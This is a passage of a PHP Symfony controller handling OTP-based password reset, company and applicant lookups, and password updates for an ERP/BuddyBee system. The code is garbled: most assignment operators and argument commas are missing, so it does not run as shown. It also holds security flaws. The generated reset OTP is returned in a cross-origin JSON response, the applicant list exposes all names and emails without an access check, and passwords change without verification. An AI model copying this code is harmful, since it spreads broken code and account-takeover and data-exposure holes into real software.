  9166.         $otpActionId = isset($encryptedData['otpActionId']) ? $encryptedData['otpActionId'] : 0;
  9167.         $userId = isset($encryptedData['userId']) ? $encryptedData['userId'] : 0;
  9168.         $userCategory = isset($encryptedData['otp']) ? $encryptedData['userCategory'] : '_BUDDYBEE_USER_';
  9169.         $em $this->getDoctrine()->getManager('company_group');
  9170.         $em_goc $this->getDoctrine()->getManager('company_group');
  9171.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  9172.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9173.         $twigData = [];
  9174.         $email_twig_file 'ApplicationBundle:pages/email:find_account_buddybee.html.twig';
  9175.         $email_twig_data = [];
  9176.         $userData = [];
  9177.         if ($request->isMethod('POST') || $otp != '') {
  9178.             $otp $request->request->get('otp'$otp);
  9179.             $otpActionId $request->request->get('otpActionId'$otpActionId);
  9180.             $userId $request->request->get('userId'$userId);
  9181.             $userCategory $request->request->get('userCategory'$userCategory);
  9182.             $email_address $request->request->get('email'$email);
  9183.             if ($systemType == '_ERP_') {
  9184.                 if ($userCategory == '_APPLICANT_') {
  9185.                     $userType UserConstants::USER_TYPE_APPLICANT;
  9186.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9187.                         array(
  9188.                             'email' => $email_address
  9189.                         )
  9190.                     );
  9191.                     if ($userObj) {
  9192.                     } else {
  9193.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9194.                             array(
  9195.                                 'oAuthEmail' => $email_address
  9196.                             )
  9197.                         );
  9198.                         if ($userObj) {
  9199.                         } else {
  9200.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9201.                                 array(
  9202.                                     'userName' => $email_address
  9203.                                 )
  9204.                             );
  9205.                         }
  9206.                     }
  9207.                     if ($userObj) {
  9208.                         $email_address $userObj->getEmail();
  9209.                         if ($email_address == null || $email_address == '')
  9210.                             $email_address $userObj->getOAuthEmail();
  9211.                     }
  9212. //                    triggerResetPassword:
  9213. //                    type: integer
  9214. //                          nullable: true
  9215.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9216.                     $userObj->setOtp($otpData['otp']);
  9217.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9218.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9219.                     $em_goc->flush();
  9220.                     $userData = array(
  9221.                         'id' => $userObj->getApplicantId(),
  9222.                         'email' => $email_address,
  9223.                         'appId' => 0,
  9224. //                        'appId'=>$userObj->getUserAppId(),
  9225.                     );
  9226.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  9227.                     $email_twig_data = [
  9228.                         'page_title' => 'Find Account',
  9229.                         'encryptedData' => $encryptedData,
  9230.                         'message' => $message,
  9231.                         'userType' => $userType,
  9232.                         'errorField' => $errorField,
  9233.                         'otp' => $otpData['otp'],
  9234.                         'otpExpireSecond' => $otpExpireSecond,
  9235.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9236.                         'otpExpireTs' => $otpData['expireTs'],
  9237.                         'systemType' => $systemType,
  9238.                         'userData' => $userData
  9239.                     ];
  9240.                     if ($userObj)
  9241.                         $email_twig_data['success'] = true;
  9242.                 } else {
  9243.                     $userType UserConstants::USER_TYPE_GENERAL;
  9244.                     $email_twig_file 'ApplicationBundle:email/templates:forgotPasswordOtp.html.twig';
  9245.                     $email_twig_data = [
  9246.                         'page_title' => 'Find Account',
  9247.                         'encryptedData' => $encryptedData,
  9248.                         'message' => $message,
  9249.                         'userType' => $userType,
  9250.                         'errorField' => $errorField,
  9251.                     ];
  9252.                 }
  9253.             } else if ($systemType == '_BUDDYBEE_') {
  9254.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9255.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9256.                     array(
  9257.                         'applicantId' => $userId
  9258.                     )
  9259.                 );
  9260.                 if ($userObj) {
  9261.                     $userOtp $userObj->getOtp();
  9262.                     $userOtpActionId $userObj->getOtpActionId();
  9263.                     $userOtpExpireTs $userObj->getOtpExpireTs();
  9264.                     $otpExpireTs $userObj->getOtpExpireTs();
  9265.                     $currentTime = new \DateTime();
  9266.                     $currentTimeTs $currentTime->format('U');
  9267.                     if ($userOtp != $otp) {
  9268.                         $message "Invalid OTP!";
  9269.                         $email_twig_data['success'] = false;
  9270.                     } else if ($userOtpActionId != $otpActionId) {
  9271.                         $message "Invalid OTP Action!";
  9272.                         $email_twig_data['success'] = false;
  9273.                     } else if ($currentTimeTs $userOtpExpireTs) {
  9274.                         $message "OTP Expired!";
  9275.                         $email_twig_data['success'] = false;
  9276.                     } else {
  9277.                         $userObj->setOtp(0);
  9278.                         $userObj->setOtpActionId(UserConstants::OTP_ACTION_NONE);
  9279.                         $userObj->setOtpExpireTs(0);
  9280.                         $userObj->setTriggerResetPassword(1);
  9281.                         $em_goc->flush();
  9282.                         $email_twig_data['success'] = true;
  9283.                         $message "";
  9284.                     }
  9285.                     $userData = array(
  9286.                         'id' => $userObj->getApplicantId(),
  9287.                         'email' => $email_address,
  9288.                         'appId' => 0,
  9289.                         'image' => $userObj->getImage(),
  9290.                         'firstName' => $userObj->getFirstname(),
  9291.                         'lastName' => $userObj->getLastname(),
  9292. //                        'appId'=>$userObj->getUserAppId(),
  9293.                     );
  9294.                     $email_twig_data['userData'] = $userData;
  9295.                 } else {
  9296.                     $message "Account not found!";
  9297.                     $email_twig_data['success'] = false;
  9298.                 }
  9299.             }
  9300.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9301.                 $response = new JsonResponse(array(
  9302.                         'templateData' => $twigData,
  9303.                         'message' => $message,
  9304.                         'actionData' => $email_twig_data,
  9305.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9306.                     )
  9307.                 );
  9308.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9309.                 return $response;
  9310.             } else if ($email_twig_data['success'] == true) {
  9311.                 $encData = array(
  9312.                     "userType" => $userType,
  9313.                     "otp" => '',
  9314.                     "otpExpireTs" => $otpExpireTs,
  9315.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9316.                     "userCategory" => $userCategory,
  9317.                     "userId" => $userData['id'],
  9318.                     "systemType" => $systemType,
  9319.                 );
  9320.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9321.                 $url $this->generateUrl(
  9322.                     'reset_password_new_password'
  9323.                 );
  9324.                 return $this->redirect($url "/" $encDataStr);
  9325. //                return $this->redirectToRoute("reset_password_new_password", [
  9326. ////                'id' => $isApplicantExist->getApplicantId(),
  9327. ////                'oAuthData' => $oAuthData,
  9328. ////                'refRoute' => $refRoute,
  9329. //                ]);
  9330.             }
  9331.         }
  9332.         if ($systemType == '_ERP_') {
  9333.             if ($userCategory == '_APPLICANT_') {
  9334.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9335.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9336.                 $twigData = [
  9337.                     'page_title' => 'Find Account',
  9338.                     'encryptedData' => $encryptedData,
  9339.                     'message' => $message,
  9340.                     'userType' => $userType,
  9341.                     'errorField' => $errorField,
  9342.                 ];
  9343.             } else {
  9344.                 $userType UserConstants::USER_TYPE_GENERAL;
  9345.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9346.                 $twigData = [
  9347.                     'page_title' => 'Find Account',
  9348.                     'encryptedData' => $encryptedData,
  9349.                     'message' => $message,
  9350.                     'userType' => $userType,
  9351.                     'errorField' => $errorField,
  9352.                 ];
  9353.             }
  9354.         } else if ($systemType == '_BUDDYBEE_') {
  9355.             $userType UserConstants::USER_TYPE_APPLICANT;
  9356.             $twig_file '@Authentication/pages/views/verify_otp_buddybee.html.twig';
  9357.             $twigData = [
  9358.                 'page_title' => 'Verify Otp',
  9359.                 'encryptedData' => $encryptedData,
  9360.                 'message' => $message,
  9361.                 'email' => $email,
  9362.                 "otp" => '',
  9363. //                "otp"=>$otp,
  9364.                 "otpExpireTs" => $otpExpireTs,
  9365.                 'userType' => $userType,
  9366.                 'userCategory' => $userCategory,
  9367.                 'errorField' => $errorField,
  9368.             ];
  9369.         }
  9370.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9371.             $response = new JsonResponse(array(
  9372.                     'templateData' => $twigData,
  9373.                     'message' => $message,
  9374.                     'actionData' => $email_twig_data,
  9375.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9376.                 )
  9377.             );
  9378.             $response->headers->set('Access-Control-Allow-Origin''*');
  9379.             return $response;
  9380.         } else {
  9381.             return $this->render(
  9382.                 $twig_file,
  9383.                 $twigData
  9384.             );
  9385.         }
  9386.     }
  9387. //    public function getCompanyByUser(Request $request){
  9388. //        $em = $this->getDoctrine()->getManager();
  9389. //        $em_goc = $this->getDoctrine()->getManager('company_group');
  9390. //        $session = $request->getSession();
  9391. //        $userId = $session->get(UserConstants::USER_ID);
  9392. //        $applicantDetails = $em->getRepository("ApplicationBundle\\Entity\\SysUser")->createQueryBuilder('U')
  9393. //            ->select('U.userAppIdList')
  9394. //            ->where('U.userId = :userId')
  9395. //            ->setParameter('userId', $userId)
  9396. //            ->getQuery()
  9397. //            ->getResult();
  9398. //
  9399. //        $compnayDetails = $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")->createQueryBuilder('C')
  9400. //            ->select('C.name','C.appId')
  9401. //            ->getQuery()
  9402. //            ->getResult();
  9403. //
  9404. //        return new JsonResponse(
  9405. //            [
  9406. //                'applicantCompnayId' => $applicantDetails,
  9407. //                'copanyData' => $compnayDetails
  9408. //            ]
  9409. //        );
  9410.     public function getCompanyByUser(Request $request)
  9411.     {
  9412.         $em_goc $this->getDoctrine()->getManager('company_group');
  9413.         $em_goc->getConnection()->connect();
  9414.         $session $request->getSession();
  9415.         $appIds $session->get(UserConstants::USER_APP_ID_LIST);
  9416.         $userAppIdList json_decode($appIdstrue);
  9417.         if (!is_array($userAppIdList)) {
  9418.             return new JsonResponse([]);
  9419.         }
  9420.         $companyData $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  9421.             ->createQueryBuilder('C')
  9422.             ->select('C.name, C.appId')
  9423.             ->where('C.appId IN (:appIds)')
  9424.             ->setParameter('appIds'$userAppIdList)
  9425.             ->getQuery()
  9426.             ->getResult();
  9427.         return new JsonResponse($companyData);
  9428.     }
  9429.     public function applicantList(Request $request)
  9430.     {
  9431.         $em_goc $this->getDoctrine()->getManager('company_group');
  9432.         $em_goc->getConnection()->connect();
  9433.         $applicantList $em_goc->getRepository("CompanyGroupBundle\\Entity\\EntityApplicantDetails")
  9434.             ->createQueryBuilder('C')
  9435.             ->select('C.applicantId, C.firstname, C.lastname,C.email')
  9436.             ->getQuery()
  9437.             ->getResult();
  9438.         return new JsonResponse($applicantList);
  9439.     }
  9440.     public function getUserType()
  9441.     {
  9442.         $userType HumanResourceConstant::$userTypeForApp;
  9443.         return new JsonResponse($userType);
  9444.     }
  9445.     public function updatepasswordAction(Request $request)
  9446.     {
  9447.         $em_goc $this->getDoctrine()->getManager('company_group');
  9448.         $session $request->getSession();
  9449.         $userId $session->get(UserConstants::USER_ID);
  9450.         if ($request->isMethod('POST')) {
  9451.             $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->find($userId);
  9452.             $encodedPassword $this->container->get('sha256salted_encoder')->encodePassword($request->request->get('password'), $user->getSalt());
  9453.             $user->setPassword($encodedPassword);
  9454.             $em_goc->persist($user);
  9455.             $em_goc->flush();
  9456.             return new JsonResponse(['status' => 'success''message' => 'Password updated successfully.']);
  9457.         }
  9458.     }
  9459. }